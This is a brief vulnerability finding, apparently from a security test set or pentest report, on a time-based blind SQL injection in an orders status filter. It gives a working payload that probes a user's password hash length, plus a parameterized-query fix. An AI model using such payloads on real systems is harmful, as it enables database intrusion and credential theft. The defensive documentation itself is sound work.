Vuln ID TP-005 Title Blind SQL Injection - Order Status Filter Severity critical Type SQLi HTTP Method GET URL /orders Parameter status Filename - Code Location backend/api/models/Order.php -> getByUserFiltered() line 85

Description

The order listing endpoint accepts a status filter that is concatenated directly into the SQL query. This enables time-based blind SQL injection.

Proof of Concept

status=pending' AND 1=CASE WHEN (SELECT length(password_hash) FROM users WHERE id=1)>50 THEN RANDOMBLOB(200000000) ELSE 1 END--

Remediation

Use a parameterized query with bound parameters.